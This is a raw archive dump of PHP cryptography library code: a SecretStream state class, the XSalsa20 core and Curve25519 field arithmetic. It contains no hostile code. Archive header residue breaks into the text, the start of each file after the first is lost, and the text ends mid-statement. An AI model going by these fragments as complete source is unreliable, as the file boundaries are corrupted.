STR_PAD_RIGHT); } return $this->nonce; } /** * @return string */ public function getCombinedNonce() { return $this->getCounter() . ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8); } /** * @return self */ public function incrementCounter() { ++$this->counter; return $this; } /** * @return bool */ public function needsRekey() { return ($this->counter & 0xffff) === 0; } /** * @param string $newKeyAndNonce * @return self */ public function rekey($newKeyAndNonce) { $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32); $this->nonce = str_pad( ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32), 12, "\0", STR_PAD_RIGHT ); return $this; } /** * @param string $str * @return self */ public function xorNonce($str) { $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings( $this->getNonce(), str_pad( ParagonIE_Sodium_Core_Util::substr($str, 0, 8), 12, "\0", STR_PAD_RIGHT ) ); return $this; } /** * @param string $string * @return self */ public static function fromString($string) { $state = new ParagonIE_Sodium_Core_SecretStream_State( ParagonIE_Sodium_Core_Util::substr($string, 0, 32) ); $state->counter = ParagonIE_Sodium_Core_Util::load_4( ParagonIE_Sodium_Core_Util::substr($string, 32, 4) ); $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12); $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8); return $state; } /** * @return string */ public function toString() { return $this->key . $this->getCounter() . $this->nonce . $this->_pad; } } PK!{[[src/Core/XSalsa20.phpnu[ 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } return self::store32_le($x0) . self::store32_le($x5) . self::store32_le($x10) . self::store32_le($x15) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9); } } PK!11src/Core/Curve25519.phpnu[e0 = 1; return $fe; } /** * Add two field elements. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function fe_add( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g ) { return new ParagonIE_Sodium_Core_Curve25519_Fe( (int)($f->e0 + $g->e0), (int)($f->e1 + $g->e1), (int)($f->e2 + $g->e2), (int)($f->e3 + $g->e3), (int)($f->e4 + $g->e4), (int)($f->e5 + $g->e5), (int)($f->e6 + $g->e6), (int)($f->e7 + $g->e7), (int)($f->e8 + $g->e8), (int)($f->e9 + $g->e9) ); } /** * Constant-time conditional move. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment */ public static function fe_cmov( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g, $b = 0 ) { $h = new ParagonIE_Sodium_Core_Curve25519_Fe(); $b *= -1; $x = (($f->e0 ^ $g->e0) & $b); $h->e0 = $f->e0 ^ $x; $x = (($f->e1 ^ $g->e1) & $b); $h->e1 = $f->e1 ^ $x; $x = (($f->e2 ^ $g->e2) & $b); $h->e2 = $f->e2 ^ $x; $x = (($f->e3 ^ $g->e3) & $b); $h->e3 = $f->e3 ^ $x; $x = (($f->e4 ^ $g->e4) & $b); $h->e4 = $f->e4 ^ $x; $x = (($f->e5 ^ $g->e5) & $b); $h->e5 = $f->e5 ^ $x; $x = (($f->e6 ^ $g->e6) & $b); $h->e6 = $f->e6 ^ $x; $x = (($f->e7 ^ $g->e7) & $b); $h->e7 = $f->e7 ^ $x; $x = (($f->e8 ^ $g->e8) & $b); $h->e8 = $f->e8 ^ $x; $x = (($f->e9 ^ $g->e9) & $b); $h->e9 = $f->e9 ^ $x; return $h; } /** * Create a copy of a field element. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f) { return clone $f; } /** * Give: 32-byte string. * Receive: A field element object to use for internal calculations. * * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Fe * @throws RangeException * @throws TypeError */ public static function fe_frombytes($s) { if (self::strlen($s) !== 32) { throw new RangeException('Expected a 32-byte string.'); } $h0 = self::load_4($s); $h1 = self::load_3(self::substr($s, 4, 3)) << 6; $h2 = self::load_3(self::substr($s, 7, 3)) << 5; $h3 = self::load_3(self::substr($s, 10, 3)) << 3; $h4 = self::load_3(self::substr($s, 13, 3)) << 2; $h5 = self::load_4(self::substr($s, 16, 4)); $h6 = self::load_3(self::substr($s, 20, 3)) << 7; $h7 = self::load_3(self::substr($s, 23, 3)) << 5; $h8 = self::load_3(self::substr($s, 26, 3)) << 4; $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; return new ParagonIE_Sodium_Core_Curve25519_Fe( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ); } /** * Convert a field element to a byte string. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $h * @return string */ public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe $h) { $h0 = (int) $h->e0; $h1 = (int) $h->e1; $h2 = (int) $h->e2; $h3 = (int) $h->e3; $h4 = (int) $h->e4; $h5 = (int) $h->e5; $h6 = (int) $h->e6; $h7 = (int) $h->e7; $h8 = (int) $h->e8; $h9 = (int) $h->e9; $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25; $q = ($h0 + $q) >> 26; $q = ($h1 + $q) >> 25; $q = ($h2 + $q) >> 26; $q = ($h3 + $q) >> 25; $q = ($h4 + $q) >> 26; $q = ($h5 + $q) >> 25; $q = ($h6 + $q) >> 26; $q = ($h7 + $q) >> 25; $q = ($h8 + $q) >> 26; $q = ($h9 + $q) >> 25; $h0 += self::mul($q, 19, 5); $carry0 = $h0 >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry1 = $h1 >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry2 = $h2 >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry3 = $h3 >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry4 = $h4 >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry5 = $h5 >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry6 = $h6 >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry7 = $h7 >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry8 = $h8 >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = $h9 >> 25; $h9 -= $carry9 << 25; /** * @var array */ $s = array( (int) (($h0 >> 0) & 0xff), (int) (($h0 >> 8) & 0xff), (int) (($h0 >> 16) & 0xff), (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff), (int) (($h1 >> 6) & 0xff), (int) (($h1 >> 14) & 0xff), (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff), (int) (($h2 >> 5) & 0xff), (int) (($h2 >> 13) & 0xff), (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff), (int) (($h3 >> 3) & 0xff), (int) (($h3 >> 11) & 0xff), (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff), (int) (($h4 >> 2) & 0xff), (int) (($h4 >> 10) & 0xff), (int) (($h4 >> 18) & 0xff), (int) (($h5 >> 0) & 0xff), (int) (($h5 >> 8) & 0xff), (int) (($h5 >> 16) & 0xff), (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff), (int) (($h6 >> 7) & 0xff), (int) (($h6 >> 15) & 0xff), (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff), (int) (($h7 >> 5) & 0xff), (int) (($h7 >> 13) & 0xff), (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff), (int) (($h8 >> 4) & 0xff), (int) (($h8 >> 12) & 0xff), (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff), (int) (($h9 >> 2) & 0xff), (int) (($h9 >> 10) & 0xff), (int) (($h9 >> 18) & 0xff) ); return self::intArrayToString($s); } /** * Is a field element negative? (1 = yes, 0 = no. Used in calculations.) * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return int * @throws SodiumException * @throws TypeError */ public static function fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $str = self::fe_tobytes($f); return (int) (self::chrToInt($str[0]) & 1); } /** * Returns 0 if this field element results in all NUL bytes. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return bool * @throws SodiumException * @throws TypeError */ public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe $f) { static $zero; if ($zero === null) { $zero = str_repeat("\x00", 32); } /** @var string $zero */ /** @var string $str */ $str = self::fe_tobytes($f); return !self::verify_32($str, (string) $zero); } /** * Multiply two field elements * * h = f * g * * @internal You should not use this directly from another application * * @security Is multiplication a source of timing leaks? If so, can we do * anything to prevent that from happening? * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_mul( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g ) { // Ensure limbs aren't oversized. $f = self::fe_normalize($f); $g = self::fe_normalize($g); $f0 = $f->e0; $f1 = $f->e1; $f2 = $f->e2; $f3 = $f->e3; $f4 = $f->e4; $f5 = $f->e5; $f6 = $f->e6; $f7 = $f->e7; $f8 = $f->e8; $f9 = $f->e9; $g0 = $g->e0; $g1 = $g->e1; $g2 = $g->e2; $g3 = $g->e3; $g4 = $g->e4; $g5 = $g->e5; $g6 = $g->e6; $g7 = $g->e7; $g8 = $g->e8; $g9 = $g->e9; $g1_19 = self::mul($g1, 19, 5); $g2_19 = self::mul($g2, 19, 5); $g3_19 = self::mul($g3, 19, 5); $g4_19 = self::mul($g4, 19, 5); $g5_19 = self::mul($g5, 19, 5); $g6_19 = self::mul($g6, 19, 5); $g7_19 = self::mul($g7, 19, 5); $g8_19 = self::mul($g8, 19, 5); $g9_19 = self::mul($g9, 19, 5); $f1_2 = $f1 << 1; $f3_2 = $f3 << 1; $f5_2 = $f5 << 1; $f7_2 = $f7 << 1; $f9_2 = $f9 << 1; $f0g0 = self::mul($f0, $g0, 26); $f0g1 = self::mul($f0, $g1, 25); $f0g2 = self::mul($f0, $g2, 26); $f0g3 = self::mul($f0, $g3, 25); $f0g4 = self::mul($f0, $g4, 26); $f0g5 = self::mul($f0, $g5, 25); $f0g6 = self::mul($f0, $g6, 26); $f0g7 = self::mul($f0, $g7, 25); $f0g8 = self::mul($f0, $g8, 26); $f0g9 = self::mul($f0, $g9, 26); $f1g0 = self::mul($f1, $g0, 26); $f1g1_2 = self::mul($f1_2, $g1, 25); $f1g2 = self::mul($f1, $g2, 26); $f1g3_2 = self::mul($f1_2, $g3, 25); $f1g4 = self::mul($f1, $g4, 26); $f1g5_2 = self::mul($f1_2, $g5, 25); $f1g6 = self::mul($f1, $g6, 26); $f1g7_2 = self::mul($f1_2, $g7, 25); $f1g8 = self::mul($f1, $g8, 26); $f1g9_38 = self::mul($g9_19, $f1_2, 26); $f2g0 = self::mul($f2, $g0, 26); $f2g1 = self::mul($f2, $g1, 25); $f2g2 = self::mul($f2, $g2, 26); $f2g3 = self::mul($f2, $g3, 25); $f2g4 = self::mul($f2, $g4, 26); $f2g5 = self::mul($f2, $g5, 25); $f2g6 = self::mul($f2, $g6, 26); $f2g7 = self::mul($f2, $g7, 25); $f2g8_19 = self::mul($g8_19, $f2, 26); $f2g9_19 = self::mul($g9_19, $f2, 26); $f3g0 = self::mul($f3, $g0, 26); $f3g1_2 = self::mul($f3_2, $g1, 25); $f3g2 = self::mul($f3, $g2, 26); $f3g3_2 = self::mul($f3_2, $g3, 25); $f3g4 = self::mul($f3, $g4, 26); $f3g5_2 = self::mul($f3_2, $g5, 25); $f3g6 = self::mul($f3, $g6, 26); $f3g7_38 = self::mul($g7_19, $f3_2, 26); $f3g8_19 = self::mul($g8_19, $f3, 25); $f3g9_38 = self::mul($g9_19, $f3_2, 26); $f4g0 = self::mul($f4, $g0, 26); $f4g1 = self::mul($f4, $g1, 25); $f4g2 = self::mul($f4, $g2, 26); $f4g3 = self::mul($f4, $g3, 25); $f4g4 = self::mul($f4, $g4, 26); $f4g5 = self::mul($f4, $g5, 25); $f4g6_19 = self::mul($g6_19, $f4, 26); $f4g7_19 = self::mul($g7_19, $f4, 26); $f4g8_19 = self::mul($g8_19, $f4, 26); $f4g9_19 = self::mul($g9_19, $f4, 26); $f5g0 = self::mul($f5, $g0, 26); $f5g1_2 = self::mul($f5_2, $g1, 25); $f5g2 = self::mul($f5, $g2, 26); $f5g3_2 = self::mul($f5_2, $g3, 25); $f5g4 = self::mul($f5, $g4, 26); $f5g5_38 = self::mul($g5_19, $f5_2, 26); $f5g6_19 = self::mul($g6_19, $f5, 25); $f5g7_38 = self::mul($g7_19, $f5_2, 26); $f5g8_19 = self::mul($g8_19, $f5, 25); $f5g9_38 = self::mul($g9_19, $f5_2, 26); $f6g0 = self::mul($f6, $g0, 26); $f6g1 = self::mul($f6, $g1, 25); $f6g2 = self::mul($f6, $g2, 26); $f6g3 = self::mul($f6, $g3, 25); $f6g4_19 = self::mul($g4_19, $f6, 26); $f6g5_19 = self::mul($g5_19, $f6, 26); $f6g6_19 = self::mul($g6_19, $f6, 26); $f6g7_19 = self::mul($g7_19, $f6, 26); $f6g8_19 = self::mul($g8_19, $f6, 26); $f6g9_19 = self::mul($g9_19, $f6, 26); $f7g0 = self::mul($f7, $g0, 26); $f7g1_2 = self::mul($f7_2, $g1, 25); $f7g2 = self::mul($f7, $g2, 26); $f7g3_38 = self::mul($g3_19, $f7_2, 26); $f7g4_19 = self::mul($g4_19, $f7, 26); $f7g5_38 = self::mul($g5_19, $f7_2, 26); $f7g6_19 = self::mul($g6_19, $f7, 25); $f7g7_38 = self::mul($g7_19, $f7_2, 26); $f7g8_19 = self::mul($g8_19, $f7, 25); $f7g9_38 = self::mul($g9_19,$f7_2, 26); $f8g0 = self::mul($f8, $g0, 26); $f8g1 = self::mul($f8, $g1, 25); $f8g2_19 = self::mul($g2_19, $f8, 26); $f8g3_19 = self::mul($g3_19, $f8, 26); $f8g4_19 = self::mul($g4_19, $f8, 26); $f8g5_19 = self::mul($g5_19, $f8, 26); $f8g6_19 = self::mul($g6_19, $f8, 26); $f8g7_19 = self::mul($g7_19, $f8, 26); $f8g8_19 = self::mul($g8_19, $f8, 26); $f8g9_19 = self::mul($g9_19, $f8, 26); $f9g0 = self::mul($f9, $g0, 26); $f9g1_38 = self::mul($g1_19, $f9_2, 26); $f9g2_19 = self::mul($g2_19, $f9, 25); $f9g3_38 = self::mul($g3_19, $f9_2, 26); $f9g4_19 = self::mul($g4_19, $f9, 25); $f9g5_38 = self::mul($g5_19, $f9_2, 26); $f9g6_19 = self::mul($g6_19, $f9, 25); $f9g7_38 = self::mul($g7_19, $f9_2, 26); $f9g8_19 = self::mul($g8_19, $f9, 25); $f9g9_38 = self::mul($g9_19, $f9_2, 26); $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38; $h1 = $f0g1 + $f1g0 + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19; $h2 = $f0g2 + $f1g1_2 + $f2g0 + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38; $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19; $h4 = $f0g4 + $f1g3_2 + $f2g2 + $f3g1_2 + $f4g0 + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38; $h5 = $f0g5 + $f1g4 + $f2g3 + $f3g2 + $f4g1 + $f5g0 + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19; $h6 = $f0g6 + $f1g5_2 + $f2g4 + $f3g3_2 + $f4g2 + $f5g1_2 + $f6g0 + $f7g9_38 + $f8g8_19 + $f9g7_38; $h7 = $f0g7 + $f1g6 + $f2g5 + $f3g4 + $f4g3 + $f5g2 + $f6g1 + $f7g0 + $f8g9_19 + $f9g8_19; $h8 = $f0g8 + $f1g7_2 + $f2g6 + $f3g5_2 + $f4g4 + $f5g3_2 + $f6g2 + $f7g1_2 + $f8g0 + $f9g9_38; $h9 = $f0g9 + $f1g8 + $f2g7 + $f3g6 + $f4g5 + $f5g4 + $f6g3 + $f7g2 + $f8g1 + $f9g0 ; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( new ParagonIE_Sodium_Core_Curve25519_Fe( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ); } /** * Get the negative values for each piece of the field element. * * h = -f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment */ public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f) { return self::fe_normalize( new ParagonIE_Sodium_Core_Curve25519_Fe( -$f->e0, -$f->e1, -$f->e2, -$f->e3, -$f->e4, -$f->e5, -$f->e6, -$f->e7, -$f->e8, -$f->e9 ) ); } /** * Square a field element * * h = f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $f = self::fe_normalize($f); $f0 = (int) $f->e0; $f1 = (int) $f->e1; $f2 = (int) $f->e2; $f3 = (int) $f->e3; $f4 = (int) $f->e4; $f5 = (int) $f->e5; $f6 = (int) $f->e6; $f7 = (int) $f->e7; $f8 = (int) $f->e8; $f9 = (int) $f->e9; $f0_2 = $f0 << 1; $f1_2 = $f1 << 1; $f2_2 = $f2 << 1; $f3_2 = $f3 << 1; $f4_2 = $f4 << 1; $f5_2 = $f5 << 1; $f6_2 = $f6 << 1; $f7_2 = $f7 << 1; $f5_38 = self::mul($f5, 38, 6); $f6_19 = self::mul($f6, 19, 5); $f7_38 = self::mul($f7, 38, 6); $f8_19 = self::mul($f8, 19, 5); $f9_38 = self::mul($f9, 38, 6); $f0f0 = self::mul($f0, $f0, 26); $f0f1_2 = self::mul($f0_2, $f1, 26); $f0f2_2 = self::mul($f0_2, $f2, 26); $f0f3_2 = self::mul($f0_2, $f3, 26); $f0f4_2 = self::mul($f0_2, $f4, 26); $f0f5_2 = self::mul($f0_2, $f5, 26); $f0f6_2 = self::mul($f0_2, $f6, 26); $f0f7_2 = self::mul($f0_2, $f7, 26); $f0f8_2 = self::mul($f0_2, $f8, 26); $f0f9_2 = self::mul($f0_2, $f9, 26); $f1f1_2 = self::mul($f1_2, $f1, 26); $f1f2_2 = self::mul($f1_2, $f2, 26); $f1f3_4 = self::mul($f1_2, $f3_2, 26); $f1f4_2 = self::mul($f1_2, $f4, 26); $f1f5_4 = self::mul($f1_2, $f5_2, 26); $f1f6_2 = self::mul($f1_2, $f6, 26); $f1f7_4 = self::mul($f1_2, $f7_2, 26); $f1f8_2 = self::mul($f1_2, $f8, 26); $f1f9_76 = self::mul($f9_38, $f1_2, 27); $f2f2 = self::mul($f2, $f2, 27); $f2f3_2 = self::mul($f2_2, $f3, 27); $f2f4_2 = self::mul($f2_2, $f4, 27); $f2f5_2 = self::mul($f2_2, $f5, 27); $f2f6_2 = self::mul($f2_2, $f6, 27); $f2f7_2 = self::mul($f2_2, $f7, 27); $f2f8_38 = self::mul($f8_19, $f2_2, 27); $f2f9_38 = self::mul($f9_38, $f2, 26); $f3f3_2 = self::mul($f3_2, $f3, 26); $f3f4_2 = self::mul($f3_2, $f4, 26); $f3f5_4 = self::mul($f3_2, $f5_2, 26); $f3f6_2 = self::mul($f3_2, $f6, 26); $f3f7_76 = self::mul($f7_38, $f3_2, 26); $f3f8_38 = self::mul($f8_19, $f3_2, 26); $f3f9_76 = self::mul($f9_38, $f3_2, 26); $f4f4 = self::mul($f4, $f4, 26); $f4f5_2 = self::mul($f4_2, $f5, 26); $f4f6_38 = self::mul($f6_19, $f4_2, 27); $f4f7_38 = self::mul($f7_38, $f4, 26); $f4f8_38 = self::mul($f8_19, $f4_2, 27); $f4f9_38 = self::mul($f9_38, $f4, 26); $f5f5_38 = self::mul($f5_38, $f5, 26); $f5f6_38 = self::mul($f6_19, $f5_2, 26); $f5f7_76 = self::mul($f7_38, $f5_2, 26); $f5f8_38 = self::mul($f8_19, $f5_2, 26); $f5f9_76 = self::mul($f9_38, $f5_2, 26); $f6f6_19 = self::mul($f6_19, $f6, 26); $f6f7_38 = self::mul($f7_38, $f6, 26); $f6f8_38 = self::mul($f8_19, $f6_2, 27); $f6f9_38 = self::mul($f9_38, $f6, 26); $f7f7_38 = self::mul($f7_38, $f7, 26); $f7f8_38 = self::mul($f8_19, $f7_2, 26); $f7f9_76 = self::mul($f9_38, $f7_2, 26); $f8f8_19 = self::mul($f8_19, $f8, 26); $f8f9_38 = self::mul($f9_38, $f8, 26); $f9f9_38 = self::mul($f9_38, $f9, 26); $h0 = $f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38; $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38; $h2 = $f0f2_2 + $f1f1_2 + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19; $h3 = $f0f3_2 + $f1f2_2 + $f4f9_38 + $f5f8_38 + $f6f7_38; $h4 = $f0f4_2 + $f1f3_4 + $f2f2 + $f5f9_76 + $f6f8_38 + $f7f7_38; $h5 = $f0f5_2 + $f1f4_2 + $f2f3_2 + $f6f9_38 + $f7f8_38; $h6 = $f0f6_2 + $f1f5_4 + $f2f4_2 + $f3f3_2 + $f7f9_76 + $f8f8_19; $h7 = $f0f7_2 + $f1f6_2 + $f2f5_2 + $f3f4_2 + $f8f9_38; $h8 = $f0f8_2 + $f1f7_4 + $f2f6_2 + $f3f5_4 + $f4f4 + $f9f9_38; $h9 = $f0f9_2 + $f1f8_2 + $f2f7_2 + $f3f6_2 + $f4f5_2; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( new ParagonIE_Sodium_Core_Curve25519_Fe( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ); } /** * Square and double a field element * * h = 2 * f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $f = self::fe_normalize($f); $f0 = (int) $f->e0; $f1 = (int) $f->e1; $f2 = (int) $f->e2; $f3 = (int) $f->e3; $f4 = (int) $f->e4; $f5 = (int) $f->e5; $f6 = (int) $f->e6; $f7 = (int) $f->e7; $f8 = (int) $f->e8; $f9 = (int) $f->e9; $f0_2 = $f0 << 1; $f1_2 = $f1 << 1; $f2_2 = $f2 << 1; $f3_2 = $f3 << 1; $f4_2 = $f4 << 1; $f5_2 = $f5 << 1; $f6_2 = $f6 << 1; $f7_2 = $f7 << 1; $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */ $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */ $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */ $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */ $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */ $f0f0 = self::mul($f0, $f0, 24); $f0f1_2 = self::mul($f0_2, $f1, 24); $f0f2_2 = self::mul($f0_2, $f2, 24); $f0f3_2 = self::mul($f0_2, $f3, 24); $f0f4_2 = self::mul($f0_2, $f4, 24); $f0f5_2 = self::mul($f0_2, $f5, 24); $f0f6_2 = self::mul($f0_2, $f6, 24); $f0f7_2 = self::mul($f0_2, $f7, 24); $f0f8_2 = self::mul($f0_2, $f8, 24); $f0f9_2 = self::mul($f0_2, $f9, 24); $f1f1_2 = self::mul($f1_2, $f1, 24); $f1f2_2 = self::mul($f1_2, $f2, 24); $f1f3_4 = 